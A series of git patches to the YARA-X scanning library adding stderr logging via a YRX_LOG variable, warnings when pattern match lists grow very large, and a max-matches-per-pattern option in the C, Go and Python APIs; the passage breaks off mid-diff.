From 0710fa08c346bfa950931c46db1abfad0f2371b3 Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Thu, 23 Jul 2026 12:21:42 +0200 Subject: [PATCH 001/259] feat: add `stderr-logs` feature. (#716) If the `stderr-logs` feature is enabled the YARA-X library emits log messages to stderr. The CLI now uses the same feature for enabling logs instead of using `logging`. --- Cargo.lock | 3 +-- capi/Cargo.toml | 17 +++++++++++++++++ cli/Cargo.toml | 15 +++++++++------ cli/src/main.rs | 3 --- cli/src/walk.rs | 8 ++++---- lib/Cargo.toml | 33 ++++++++++++++++++++++++++++++--- lib/src/compiler/mod.rs | 2 ++ lib/src/compiler/rules.rs | 4 +++- lib/src/lib.rs | 30 ++++++++++++++++++++++++++++++ lib/src/scanner/context.rs | 4 +++- 10 files changed, 99 insertions(+), 20 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 9cbf740f7..85442f2db 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -4407,6 +4407,7 @@ dependencies = [ "dsa", "ecdsa", "encoding_rs", + "env_logger", "flate2", "getrandom 0.2.17", "globwalk", @@ -4490,13 +4491,11 @@ dependencies = [ "dunce", "enable-ansi-support", "encoding_rs", - "env_logger", "figment", "globwalk", "home", "indicatif", "itertools 0.14.0", - "log", "predicates", "protobuf", "regex", diff --git a/capi/Cargo.toml b/capi/Cargo.toml index 7cdf6d499..1b9c92f01 100644 --- a/capi/Cargo.toml +++ b/capi/Cargo.toml @@ -50,6 +50,23 @@ rules-profiling = ["yara-x/rules-profiling"] # This feature is disabled by default. magic-module = ["yara-x/magic-module"] +# Enables internal logging and automatically writes log messages to stderr. +# +# When this feature is enabled, log output can be configured via the `YRX_LOG` +# environment variable set to any of the log levels: `error`, `warn`, `info`, +# `debug`, or `trace`. +# +# You can also specify different log levels for specific targets/modules using +# comma-separated `target=level` directives: +# +# YRX_LOG=info +# YRX_LOG=yara_x=debug +# YRX_LOG=warn,yara_x::compiler=trace +# +# This feature is disabled by default. +stderr-logs = ["yara-x/stderr-logs"] + + [lib] name = "yara_x_capi" crate-type = ["staticlib", "cdylib"] diff --git a/cli/Cargo.toml b/cli/Cargo.toml index 0bbedc2a0..cf8881798 100644 --- a/cli/Cargo.toml +++ b/cli/Cargo.toml @@ -28,8 +28,8 @@ test = false # Enable the "debug" command for developers. debug-cmd = [] -# When this feature is enabled the CLI program prints debug logs if -# the RUST_LOG environment variable is set to any of the debug levels: +# When this feature is enabled the CLI program prints debug logs to stderr if +# the YRX_LOG environment variable is set to any of the log levels: # # error # warn @@ -37,8 +37,13 @@ debug-cmd = [] # debug # trace # -# Example: RUST_LOG=info ./yr scan some_rule.yar some_file -logging = ["dep:log", "dep:env_logger"] +# You can also specify different log levels for specific targets/modules using +# comma-separated `target=level` directives: +# +# YRX_LOG=info ./yr scan some_rule.yar some_file +# YRX_LOG=yara_x=debug ./yr scan some_rule.yar some_file +# YRX_LOG=warn,yara_x::compiler=trace ./yr scan some_rule.yar some_file +stderr-logs = ["yara-x/stderr-logs"] # Enables rules profiling. Notice that profiling has an impact on scan # performance. @@ -58,8 +63,6 @@ figment = { workspace = true, features = ["toml"] } globwalk = { workspace = true } home = { workspace = true } itertools = { workspace = true } -env_logger = { workspace = true, optional = true, features = ["auto-color"] } -log = { workspace = true, optional = true } protobuf = { workspace = true } regex = { workspace = true } serde_json = { workspace = true, features = ["preserve_order"] } diff --git a/cli/src/main.rs b/cli/src/main.rs index 3c7fe115f..ba9d7b0dc 100644 --- a/cli/src/main.rs +++ b/cli/src/main.rs @@ -35,9 +35,6 @@ fn main() -> anyhow::Result<()> { println!("could not enable ANSI support: {err}") } - #[cfg(feature = "logging")] - env_logger::init(); - // If stdout is not a tty (for example, because it was redirected to a // file) turn off colors. This way you can redirect the output to a file // without ANSI escape codes messing up the file content. diff --git a/cli/src/walk.rs b/cli/src/walk.rs index 674618895..4b7732b52 100644 --- a/cli/src/walk.rs +++ b/cli/src/walk.rs @@ -539,10 +539,10 @@ impl<'a> ParWalker<'a> { } })); - // `multi_progress` will be `None` if the `logging` feature is - // enabled or if either stdout or stderr is not a tty (for example - // when any of them are redirected to a file). - let multi_progress = if cfg!(feature = "logging") { + // `multi_progress` will be `None` if the `stderr-logs` feature + // is enabled or if either stdout or stderr is not a tty (for + // example when any of them are redirected to a file). + let multi_progress = if cfg!(feature = "stderr-logs") { None } else if io::stdout().is_tty() { Some(MultiProgress::new()) diff --git a/lib/Cargo.toml b/lib/Cargo.toml index f7949c7a6..ac694cea6 100644 --- a/lib/Cargo.toml +++ b/lib/Cargo.toml @@ -34,6 +34,35 @@ rustdoc-args = ["--cfg", "docsrs"] # actually computes the expression. constant-folding = [] +# Enables internal log statements inside YARA-X via the standard `log` crate +# facade. +# +# When this feature is enabled, YARA-X emits internal log messages (using +# `log::info!`,`log::error!`, etc.). However, it does not initialize any +# concrete logger implementation. The host application remains responsible +# for configuring and initializing its own logger (e.g., `env_logger`, +# `tracing-subscriber`, or a custom logger). +logging = ["dep:log", "dep:quanta"] + +# Enables internal logging and automatically logs messages to stderr. +# +# Unlike `logging` (which only emits log events and relies on the host +# application to set up a logger), `stderr-logs` actually writes log messages +# to stderr. This is particularly useful when YARA-X is embedded in non-Rust +# host binaries, allowing log output to be configured via the `YRX_LOG` +# environment variable. +# +# Log output can be configured by setting `YRX_LOG` to any of the log levels: +# `error`, `warn`, `info`, `debug`, or `trace`. +# +# You can also specify different log levels for specific targets/modules using +# comma-separated `target=level` directives: +# +# YRX_LOG=info # Global level set to info +# YRX_LOG=yara_x=debug # Debug level for the yara_x crate +# YRX_LOG=warn,yara_x::compiler=trace # Global warn, trace for yara_x::compiler +stderr-logs = ["dep:env_logger", "logging"] + # Enables the use of exact atoms for speeding up matches. Exact atoms are those # that don't require further verification, the sole presence of the atom # indicates that the pattern containing the atom matches. For instance, in @@ -74,9 +103,6 @@ generate-module-docs = ["protoc"] # plugin. Follow the instructions in: https://lib.rs/crates/protobuf-codegen3 protoc = [] -# Enables debug logs. -logging = ["dep:log", "dep:quanta"] - # When enabled, the serialization of compiled rules include native code for # the platform in which the rules where compiled. This reduces the load time, # as the native code is already included in the serialized rules and doesn't @@ -310,6 +336,7 @@ digest = { workspace = true, optional = true } dsa = { workspace = true, optional = true } ecdsa = { workspace = true, optional = true } encoding_rs = { workspace = true, optional = true } +env_logger = { workspace = true, optional = true } flate2 = { workspace = true, optional = true } memmap2 = { workspace = true } indexmap = { workspace = true, features = ["serde"] } diff --git a/lib/src/compiler/mod.rs b/lib/src/compiler/mod.rs index 18a9c6e38..34ef44a2f 100644 --- a/lib/src/compiler/mod.rs +++ b/lib/src/compiler/mod.rs @@ -500,6 +500,8 @@ pub struct Compiler<'a> { impl<'a> Compiler<'a> { /// Creates a new YARA compiler. pub fn new() -> Self { + crate::init_logger(); + let mut ident_pool = StringPool::new(); let mut symbol_table = StackedSymbolTable::new(); diff --git a/lib/src/compiler/rules.rs b/lib/src/compiler/rules.rs index 548226cb0..1617bc61a 100644 --- a/lib/src/compiler/rules.rs +++ b/lib/src/compiler/rules.rs @@ -323,6 +323,8 @@ impl Rules { }); } + crate::init_logger(); + #[cfg(feature = "logging")] let start = Instant::now(); @@ -597,7 +599,7 @@ impl Rules { let rule = self.get(rule_id); - info!( + warn!( "Very short atom in pattern `{}` in rule `{}:{}` (length: {})", self.ident_pool.get(pattern_ident_id).unwrap(), self.ident_pool.get(rule.namespace_ident_id).unwrap(), diff --git a/lib/src/lib.rs b/lib/src/lib.rs index a463d0ee8..b11723575 100644 --- a/lib/src/lib.rs +++ b/lib/src/lib.rs @@ -180,3 +180,33 @@ pub unsafe fn finalize() { wasm::free_engine(); } } + +#[cfg(feature = "stderr-logs")] +/// Initializes the `env_logger` backend for logging output to stdout/stderr. +/// +/// This function is called automatically when creating a [`Compiler`] or +/// [`Scanner`] if the `stderr-logs` feature is enabled. It uses +/// `env_logger::try_init()`, which reads the `YRX_LOG` environment variable +/// and safely ignores initialization if a logger was already registered. +pub(crate) fn init_logger() { + static INIT_LOGGER: std::sync::Once = std::sync::Once::new(); + INIT_LOGGER.call_once(|| { + let mut builder = env_logger::Builder::from_env("YRX_LOG"); + + for noisy_module in [ + "cranelift_codegen", + "cranelift_frontend", + "wasmtime", + "wasmtime_internal_cranelift", + "walrus", + ] { + builder.filter_module(noisy_module, log::LevelFilter::Info); + } + + let _ = builder.try_init(); + }); +} + +#[cfg(not(feature = "stderr-logs"))] +#[inline] +pub(crate) fn init_logger() {} diff --git a/lib/src/scanner/context.rs b/lib/src/scanner/context.rs index 57fac1903..076ed00a8 100644 --- a/lib/src/scanner/context.rs +++ b/lib/src/scanner/context.rs @@ -744,7 +744,7 @@ impl ScanContext<'_, '_> { let rule = self.compiled_rules.get(rule_id); #[cfg(feature = "logging")] - log::info!( + log::debug!( "Rule match: {}:{} {:?}", self.compiled_rules .ident_pool() @@ -2056,6 +2056,8 @@ impl From for RuntimeObjectHandle { pub fn create_wasm_store_and_ctx<'r>( rules: &'r Rules, ) -> Pin>>> { + crate::init_logger(); + let num_rules = rules.num_rules() as u32; let num_patterns = rules.num_patterns() as u32; From d60a54c8b159f9644e8fe756cf5ec751c0b55d3e Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 23 Jul 2026 10:31:17 +0000 Subject: [PATCH 002/259] chore(deps-dev): bump fast-uri from 3.1.2 to 3.1.4 in /ls/editors/code (#717) Bumps [fast-uri](https://github.com/fastify/fast-uri) from 3.1.2 to 3.1.4. - [Release notes](https://github.com/fastify/fast-uri/releases) - [Commits](https://github.com/fastify/fast-uri/compare/v3.1.2...v3.1.4) --- updated-dependencies: - dependency-name: fast-uri dependency-version: 3.1.4 dependency-type: indirect ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- ls/editors/code/package-lock.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/ls/editors/code/package-lock.json b/ls/editors/code/package-lock.json index ead3b61a4..aa884c11b 100644 --- a/ls/editors/code/package-lock.json +++ b/ls/editors/code/package-lock.json @@ -2444,9 +2444,9 @@ "license": "MIT" }, "node_modules/fast-uri": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.2.tgz", - "integrity": "sha512-rVjf7ArG3LTk+FS6Yw81V1DLuZl1bRbNrev6Tmd/9RaroeeRRJhAt7jg/6YFxbvAQXUCavSoZhPPj6oOx+5KjQ==", + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.4.tgz", + "integrity": "sha512-8JnbkQ4juDyvYs4mgFGQqg4yCYtFDtUtmp2QIQq11ZZe5CFQ5wcqm1rqDgAh/QdMySuBnPzMUiJUNZG5N/AiQw==", "dev": true, "funding": [ { From 553b9df31f52d13d2527388f6512c8f7987c5398 Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Thu, 23 Jul 2026 16:26:24 +0200 Subject: [PATCH 003/259] feat: add warning log when the list of matches for some patterns grows too much. --- lib/src/compiler/rules.rs | 26 +++++---- lib/src/scanner/context.rs | 50 +++++++++++++++--- lib/src/scanner/matches.rs | 105 ++++++++++++++++++++++++++----------- 3 files changed, 132 insertions(+), 49 deletions(-) diff --git a/lib/src/compiler/rules.rs b/lib/src/compiler/rules.rs index 1617bc61a..863234adc 100644 --- a/lib/src/compiler/rules.rs +++ b/lib/src/compiler/rules.rs @@ -528,13 +528,21 @@ impl Rules { pub(crate) fn get_rule_and_pattern_by_sub_pattern_id( &self, sub_pattern_id: SubPatternId, - ) -> Option<(RuleId, IdentId)> { - let (target_pattern_id, _) = self.get_sub_pattern(sub_pattern_id); - for (rule_id, rule) in self.rules.iter().enumerate() { + ) -> Option<(&RuleInfo, &PatternInfo)> { + let (pattern_id, _) = self.get_sub_pattern(sub_pattern_id); + self.get_rule_and_pattern_by_pattern_id(*pattern_id) + } + + #[cfg(feature = "logging")] + pub(crate) fn get_rule_and_pattern_by_pattern_id( + &self, + pattern_id: PatternId, + ) -> Option<(&RuleInfo, &PatternInfo)> { + for rule in &self.rules { for p in &rule.patterns { - if p.pattern_id == *target_pattern_id { - return Some((rule_id.into(), p.ident_id)); - }; + if p.pattern_id == pattern_id { + return Some((rule, p)); + } } } None @@ -593,15 +601,13 @@ impl Rules { } if x.atom.len() < 2 { - let (rule_id, pattern_ident_id) = self + let (rule, pattern) = self .get_rule_and_pattern_by_sub_pattern_id(x.sub_pattern_id) .unwrap(); - let rule = self.get(rule_id); - warn!( "Very short atom in pattern `{}` in rule `{}:{}` (length: {})", - self.ident_pool.get(pattern_ident_id).unwrap(), + self.ident_pool.get(pattern.ident_id).unwrap(), self.ident_pool.get(rule.namespace_ident_id).unwrap(), self.ident_pool.get(rule.ident_id).unwrap(), x.atom.len() diff --git a/lib/src/scanner/context.rs b/lib/src/scanner/context.rs index 076ed00a8..5074bcc9b 100644 --- a/lib/src/scanner/context.rs +++ b/lib/src/scanner/context.rs @@ -34,7 +34,9 @@ use crate::re::hir::ChainedPatternGap; use crate::re::thompson::PikeVM; #[cfg(feature = "rules-profiling")] use crate::scanner::ProfilingData; -use crate::scanner::matches::{Match, PatternMatches, UnconfirmedMatch}; +use crate::scanner::matches::{ + AddResult, Match, PatternMatches, UnconfirmedMatch, +}; use crate::scanner::{DataSnippets, ScanError, ScannedData}; use crate::scanner::{HEARTBEAT_COUNTER, INIT_HEARTBEAT}; use crate::types::{Array, Map, Struct, TypeValue}; @@ -1918,12 +1920,46 @@ fn track_pattern_match( bits.set(pattern_id.into(), true); - let added = - tracker.pattern_matches.add(pattern_id, match_, replace_if_longer); - if !added - || (tracker.fast_scan - && tracker.compiled_rules.is_fast_scan(pattern_id)) - { + // If we are in fast scan mode, and this pattern is suitable to be disabled + // in fast scan mode, disabled it because we already found the first match. + let mut disable_pattern = + tracker.fast_scan && tracker.compiled_rules.is_fast_scan(pattern_id); + + match tracker.pattern_matches.add(pattern_id, match_, replace_if_longer) { + #[cfg(feature = "logging")] + AddResult::Inserted(len) if len % 100_000 == 0 => { + let (rule, pattern) = tracker + .compiled_rules + .get_rule_and_pattern_by_pattern_id(pattern_id) + .unwrap(); + + log::warn!( + "Pattern `{}` in rule `{}:{}` grew to {} matches", + tracker + .compiled_rules + .ident_pool() + .get(pattern.ident_id) + .unwrap(), + tracker + .compiled_rules + .ident_pool() + .get(rule.namespace_ident_id) + .unwrap(), + tracker + .compiled_rules + .ident_pool() + .get(rule.ident_id) + .unwrap(), + len + ); + } + AddResult::MaxMatchesReached => { + disable_pattern = true; + } + _ => {} + } + + if disable_pattern { tracker.disabled_patterns.insert(pattern_id); } } diff --git a/lib/src/scanner/matches.rs b/lib/src/scanner/matches.rs index 53c5a4e74..5f625ea99 100644 --- a/lib/src/scanner/matches.rs +++ b/lib/src/scanner/matches.rs @@ -69,16 +69,19 @@ impl MatchList { /// is false, the existing match will remain untouched and the new one will /// be ignored. /// + /// Returns `true` if a new match was added to the list, or `false` if an + /// existing match was updated or ignored. + /// /// This operation is O(1) in the most common case, which is inserting /// the new match at an offset that is higher than those from previous /// matches. - pub fn add(&mut self, new_match: Match, replace_if_longer: bool) { + pub fn add(&mut self, new_match: Match, replace_if_longer: bool) -> bool { match self.matches.last_mut() { // The new match starts at some offset greater than the offset of // the last match, we can simply push the new match at the end. Some(last) if new_match.range.start > last.range.start => { self.matches.push(new_match); - return; + true } // The new match starts has the same offset as the last match. We // only need to update its end position when replace_if_longer is @@ -87,34 +90,38 @@ impl MatchList { if replace_if_longer { last.range.end = new_match.range.end; } - return; + false } // No matches so far, the match is first one. None => { self.matches.push(new_match); - return; + true } - _ => {} - } - // If not at the end, use binary search to find the insertion point. - match self - .matches - .binary_search_by_key(&new_match.range.start, |m| m.range.start) - { - // Found, and replace_if_longer is true. - Ok(index) if replace_if_longer => { - let existing_match = &mut self.matches[index]; - if existing_match.range.end < new_match.range.end { - existing_match.range.end = new_match.range.end; + _ => { + // If not at the end, use binary search to find the insertion point. + match self + .matches + .binary_search_by_key(&new_match.range.start, |m| { + m.range.start + }) { + // Found, and replace_if_longer is true. + Ok(index) if replace_if_longer => { + let existing_match = &mut self.matches[index]; + if existing_match.range.end < new_match.range.end { + existing_match.range.end = new_match.range.end; + } + false + } + // Not found, insert at the corresponding position. + Err(index) => { + self.matches.insert(index, new_match); + true + } + // Found, but replace_if_longer is false, do nothing and keep the + // existing match. + _ => false, } } - // Not found, insert at the corresponding position. - Err(index) => { - self.matches.insert(index, new_match); - } - // Found, but replace_if_longer is false, do nothing and keep the - // existing match. - _ => {} } } @@ -213,6 +220,16 @@ pub struct UnconfirmedMatch { pub chain_length: usize, } +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum AddResult { + /// A new match was inserted into the list, growing it to the given length. + Inserted(usize), + /// An existing match was updated or ignored (list length did not increase). + Updated, + /// Pattern has reached `max_matches_per_pattern` limit and the match was rejected. + MaxMatchesReached, +} + /// A hash map that tracks matches for each pattern. /// /// Each key in this map is a [`PatternId`], and its associated value is a @@ -288,33 +305,37 @@ impl PatternMatches { /// replaced. If the argument is `false` the new match will be ignored and /// the existing one will remain. /// - /// This function returns `true` if the new match was added, or `false` - /// if the pattern already reached the maximum number of matches and - /// therefore the new match was not added. + /// Returns [`AddResult`] indicating whether a new match was inserted, an + /// existing match was updated, or the maximum match limit was reached. pub fn add( &mut self, pattern_id: PatternId, m: Match, replace_if_longer: bool, - ) -> bool { + ) -> AddResult { match self.matches.entry(pattern_id) { Entry::Occupied(mut entry) => { let matches = entry.get_mut(); if matches.len() < self.max_matches_per_pattern { self.capacity -= matches.capacity(); - matches.add(m, replace_if_longer); + let inserted = matches.add(m, replace_if_longer); self.capacity += matches.capacity(); - true + if inserted { + AddResult::Inserted(matches.len()) + } else { + AddResult::Updated + } } else { - false + AddResult::MaxMatchesReached } } Entry::Vacant(entry) => { let mut matches = MatchList::with_capacity(8); self.capacity += matches.capacity(); matches.add(m, replace_if_longer); + let len = matches.len(); entry.insert(matches); - true + AddResult::Inserted(len) } } } @@ -328,7 +349,7 @@ impl PatternMatches { #[cfg(test)] mod test { - use crate::scanner::matches::{Match, MatchList}; + use crate::scanner::matches::{Match, MatchList, PatternMatches}; use std::ops::Range; #[test] @@ -347,4 +368,24 @@ mod test { vec![(1..15), (2..10), (3..10), (4..10), (5..10)] ) } + + #[test] + fn match_list_growth() { + let mut ml = MatchList::with_capacity(10_000); + for i in 0..10_000 { + ml.add(Match::new(i..i + 1), false); + } + assert_eq!(ml.len(), 10_000); + } + + #[test] + fn pattern_matches_growth() { + use crate::compiler::PatternId; + let mut pm = PatternMatches::new(); + let pid = PatternId::from(0); + for i in 0..10_000 { + pm.add(pid, Match::new(i..i + 1), false); + } + assert_eq!(pm.get(pid).unwrap().len(), 10_000); + } } From 1e3338a69ca9a17c823ae744739c1a784c7dfaec Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Thu, 23 Jul 2026 16:36:19 +0200 Subject: [PATCH 004/259] feat: add warning log for excessive unconfirmed matches. --- lib/src/scanner/context.rs | 66 ++++++++++++++++++++++++++++---------- 1 file changed, 49 insertions(+), 17 deletions(-) diff --git a/lib/src/scanner/context.rs b/lib/src/scanner/context.rs index 5074bcc9b..48584ded5 100644 --- a/lib/src/scanner/context.rs +++ b/lib/src/scanner/context.rs @@ -1440,7 +1440,7 @@ fn verify_chain_of_matches( match &tracker.compiled_rules.get_sub_pattern(id).1 { SubPattern::LiteralChainHead { flags, .. } | SubPattern::RegexpChainHead { flags, .. } => { - track_pattern_match( + track_match( tracker, wasm_state, pattern_id, @@ -1851,12 +1851,10 @@ fn handle_sub_pattern_match( | SubPattern::Base64Wide { .. } | SubPattern::CustomBase64 { .. } | SubPattern::CustomBase64Wide { .. } => { - track_pattern_match( - tracker, wasm_state, pattern_id, match_, false, - ); + track_match(tracker, wasm_state, pattern_id, match_, false); } SubPattern::Regexp { flags, .. } => { - track_pattern_match( + track_match( tracker, wasm_state, pattern_id, @@ -1865,11 +1863,13 @@ fn handle_sub_pattern_match( ); } SubPattern::LiteralChainHead { .. } - | SubPattern::RegexpChainHead { .. } => tracker - .unconfirmed_matches - .entry(sub_pattern_id) - .or_default() - .push(UnconfirmedMatch { range: match_.range, chain_length: 0 }), + | SubPattern::RegexpChainHead { .. } => { + track_unconfirmed_match( + tracker, + sub_pattern_id, + UnconfirmedMatch { range: match_.range, chain_length: 0 }, + ); + } SubPattern::LiteralChainTail { chained_to, gap, flags, .. } | SubPattern::RegexpChainTail { chained_to, gap, flags, .. } => { if within_valid_distance( @@ -1887,21 +1887,53 @@ fn handle_sub_pattern_match( match_, ); } else { - tracker - .unconfirmed_matches - .entry(sub_pattern_id) - .or_default() - .push(UnconfirmedMatch { + track_unconfirmed_match( + tracker, + sub_pattern_id, + UnconfirmedMatch { range: match_.range, chain_length: 0, - }); + }, + ); } } } } } -fn track_pattern_match( +#[inline] +fn track_unconfirmed_match( + tracker: &mut MatchTracker, + sub_pattern_id: SubPatternId, + unconfirmed_match: UnconfirmedMatch, +) { + let unconfirmed_matches = + tracker.unconfirmed_matches.entry(sub_pattern_id).or_default(); + + unconfirmed_matches.push(unconfirmed_match); + + #[cfg(feature = "logging")] + if unconfirmed_matches.len() % 100_000 == 0 { + let (rule, pattern) = tracker + .compiled_rules + .get_rule_and_pattern_by_sub_pattern_id(sub_pattern_id) + .unwrap(); + + log::warn!( + "Pattern `{}` in rule `{}:{}` grew to {} unconfirmed matches", + tracker.compiled_rules.ident_pool().get(pattern.ident_id).unwrap(), + tracker + .compiled_rules + .ident_pool() + .get(rule.namespace_ident_id) + .unwrap(), + tracker.compiled_rules.ident_pool().get(rule.ident_id).unwrap(), + unconfirmed_matches.len() + ); + } +} + +fn track_match( tracker: &mut MatchTracker, wasm_state: &mut WasmState, pattern_id: PatternId, From a33fa8e45afb37e1a53a34db6a455929453879a5 Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Fri, 24 Jul 2026 09:15:48 +0200 Subject: [PATCH 005/259] feat: add `yrx_scanner_max_matches_per_pattern` to the C API and `Scanner.MaxMatchedPerPattern` to the Go API. --- capi/include/yara_x.h | 7 +++++++ capi/src/scanner.rs | 32 +++++++++++++++++++++++++++++ capi/src/tests.rs | 41 +++++++++++++++++++++++++++++++++++++- go/scanner.go | 6 ++++++ go/scanner_test.go | 16 +++++++++++++++ py/src/lib.rs | 3 ++- site/content/docs/api/c.md | 15 ++++++++++++++ 7 files changed, 118 insertions(+), 2 deletions(-) diff --git a/capi/include/yara_x.h b/capi/include/yara_x.h index ee6f0eb5f..ace19eceb 100644 --- a/capi/include/yara_x.h +++ b/capi/include/yara_x.h @@ -716,6 +716,13 @@ enum YRX_RESULT yrx_scanner_set_timeout(struct YRX_SCANNER *scanner, enum YRX_RESULT yrx_scanner_fast_scan(struct YRX_SCANNER *scanner, bool yes); +// Sets the maximum number of matches per pattern. +// +// When a pattern reaches the maximum number of matches it won't produce more +// matches. +enum YRX_RESULT yrx_scanner_max_matches_per_pattern(struct YRX_SCANNER *scanner, + size_t n); + // Scans a data buffer. // // `data` can be null as long as `len` is 0. In such cases its handled as diff --git a/capi/src/scanner.rs b/capi/src/scanner.rs index 71103c0b7..af1073629 100644 --- a/capi/src/scanner.rs +++ b/capi/src/scanner.rs @@ -47,6 +47,19 @@ impl<'r> InnerScanner<'r> { self } + fn max_matches_per_pattern(&mut self, n: usize) -> &mut Self { + match self { + InnerScanner::SingleBlock(s) => { + s.max_matches_per_pattern(n); + } + InnerScanner::MultiBlock(s) => { + s.max_matches_per_pattern(n); + } + InnerScanner::None => unreachable!(), + } + self + } + fn make_multi_block(&mut self) -> &mut yara_x::blocks::Scanner<'r> { // Already a multi-block scanner, nothing else to do. if let Self::MultiBlock(s) = self { @@ -193,6 +206,25 @@ pub unsafe extern "C" fn yrx_scanner_fast_scan( YRX_RESULT::YRX_SUCCESS } +/// Sets the maximum number of matches per pattern. +/// +/// When a pattern reaches the maximum number of matches it won't produce more +/// matches. +#[unsafe(no_mangle)] +pub unsafe extern "C" fn yrx_scanner_max_matches_per_pattern( + scanner: *mut YRX_SCANNER, + n: usize, +) -> YRX_RESULT { + let scanner = match scanner.as_mut() { + Some(s) => s, + None => return YRX_RESULT::YRX_INVALID_ARGUMENT, + }; + + scanner.inner.max_matches_per_pattern(n); + + YRX_RESULT::YRX_SUCCESS +} + /// Scans a data buffer. /// /// `data` can be null as long as `len` is 0. In such cases its handled as diff --git a/capi/src/tests.rs b/capi/src/tests.rs index 5163a7ea6..7d9b6f3d8 100644 --- a/capi/src/tests.rs +++ b/capi/src/tests.rs @@ -18,7 +18,8 @@ use crate::{ yrx_rules_destroy, yrx_rules_iter, yrx_rules_iter_imports, yrx_rules_serialize, yrx_scanner_clear_profiling_data, yrx_scanner_create, yrx_scanner_destroy, yrx_scanner_fast_scan, yrx_scanner_finish, - yrx_scanner_iter_slowest_rules, yrx_scanner_on_console_log, + yrx_scanner_iter_slowest_rules, yrx_scanner_max_matches_per_pattern, + yrx_scanner_on_console_log, yrx_scanner_on_matching_rule, yrx_scanner_scan, yrx_scanner_scan_block, yrx_scanner_scan_file, yrx_scanner_set_global_bool, yrx_scanner_set_global_float, yrx_scanner_set_global_int, @@ -571,6 +572,40 @@ fn capi_fast_scan() { } } +#[test] +fn capi_max_matches_per_pattern() { + unsafe { + let mut compiler = std::ptr::null_mut(); + yrx_compiler_create(0, &mut compiler); + + let src = c"rule test { strings: $a = \"foo\" condition: #a == 1 }"; + yrx_compiler_add_source(compiler, src.as_ptr()); + + let rules = yrx_compiler_build(compiler); + yrx_compiler_destroy(compiler); + + let mut scanner = std::ptr::null_mut(); + yrx_scanner_create(rules, &mut scanner); + + yrx_scanner_max_matches_per_pattern(scanner, 1); + + let mut matches = 0; + yrx_scanner_on_matching_rule( + scanner, + on_rule_match_increase_counter, + &mut matches as *mut i32 as *mut c_void, + ); + + let data = b"foofoofoo"; + yrx_scanner_scan(scanner, data.as_ptr(), data.len()); + + assert_eq!(matches, 1); + + yrx_scanner_destroy(scanner); + yrx_rules_destroy(rules); + } +} + #[test] fn capi_null_args() { unsafe { @@ -775,6 +810,10 @@ fn capi_null_args() { yrx_scanner_fast_scan(std::ptr::null_mut(), true), YRX_RESULT::YRX_INVALID_ARGUMENT ); + assert_eq!( + yrx_scanner_max_matches_per_pattern(std::ptr::null_mut(), 10), + YRX_RESULT::YRX_INVALID_ARGUMENT + ); assert_eq!( yrx_scanner_scan(std::ptr::null_mut(), std::ptr::null(), 0), YRX_RESULT::YRX_INVALID_ARGUMENT diff --git a/go/scanner.go b/go/scanner.go index 67c08ad8f..ce3a5a76d 100644 --- a/go/scanner.go +++ b/go/scanner.go @@ -128,6 +128,12 @@ func (s *Scanner) FastScan(yes bool) { runtime.KeepAlive(s) } +// MaxMatchesPerPattern sets the maximum number of matches per pattern. +func (s *Scanner) MaxMatchesPerPattern(n int) { + C.yrx_scanner_max_matches_per_pattern(s.cScanner, C.size_t(n)) + runtime.KeepAlive(s) +} + var ErrTimeout = errors.New("timeout") // SetGlobal sets the value of a global variable. diff --git a/go/scanner_test.go b/go/scanner_test.go index 49dd363cc..648b6b7b9 100644 --- a/go/scanner_test.go +++ b/go/scanner_test.go @@ -178,3 +178,19 @@ func TestScannerFastScan(t *testing.T) { assert.Len(t, matchingRules[0].Patterns(), 1) assert.Len(t, matchingRules[0].Patterns()[0].Matches(), 1) } + +func TestScannerMaxMatchesPerPattern(t *testing.T) { + r, _ := Compile(` + rule t { + strings: + $a = "foo" + condition: + #a == 1 + }`) + s := NewScanner(r) + s.MaxMatchesPerPattern(1) + scanResults, _ := s.Scan([]byte("foofoofoo")) + matchingRules := scanResults.MatchingRules() + + assert.Len(t, matchingRules, 1) +} diff --git a/py/src/lib.rs b/py/src/lib.rs index edf57ac29..2b04be5d0 100644 --- a/py/src/lib.rs +++ b/py/src/lib.rs @@ -1086,7 +1086,8 @@ impl Scanner { /// Sets the maximum number of matches per pattern. /// - /// When some pattern reaches the specified number of `matches` it won't produce more matches. + /// When some pattern reaches the specified number of `matches` it won't + /// produce more matches. fn max_matches_per_pattern(&mut self, matches: usize) { self.inner.max_matches_per_pattern(matches); } diff --git a/site/content/docs/api/c.md b/site/content/docs/api/c.md index 3d6c926d6..928e26c6e 100644 --- a/site/content/docs/api/c.md +++ b/site/content/docs/api/c.md @@ -764,6 +764,21 @@ pattern in the file, only the first one. ------ +### yrx_scanner_max_matches_per_pattern + +```c +enum YRX_RESULT yrx_scanner_max_matches_per_pattern( + struct YRX_SCANNER *scanner, + size_t n); +``` + +Sets the maximum number of matches per pattern. + +When a pattern reaches the maximum number of matches it won't produce more +matches. + +------ + ### yrx_scanner_set_global_xxxx ```c From 99a72a57d338242d48095efeb4e48e88febfaafb Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Fri, 24 Jul 2026 09:16:47 +0200 Subject: [PATCH 006/259] chore: update `field_docs.rs`. --- lib/src/modules/field_docs.rs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/src/modules/field_docs.rs b/lib/src/modules/field_docs.rs index 7edc6d01a..d994d10f4 100644 --- a/lib/src/modules/field_docs.rs +++ b/lib/src/modules/field_docs.rs @@ -343,6 +343,8 @@ pub const FIELD_DOCS: &[(&str, u64, &str)] = &[ ("macho.Symtab", 4, "Size in bytes of the string table."), ("macho.Symtab", 5, "Individual entries stored in the table."), ("macho.Symtab", 6, "Descriptive nlist entries for symbols."), + ("msi.Msi", 1, "True if the file is an MSI file and contains a digital signature."), + ("msi.Msi", 2, 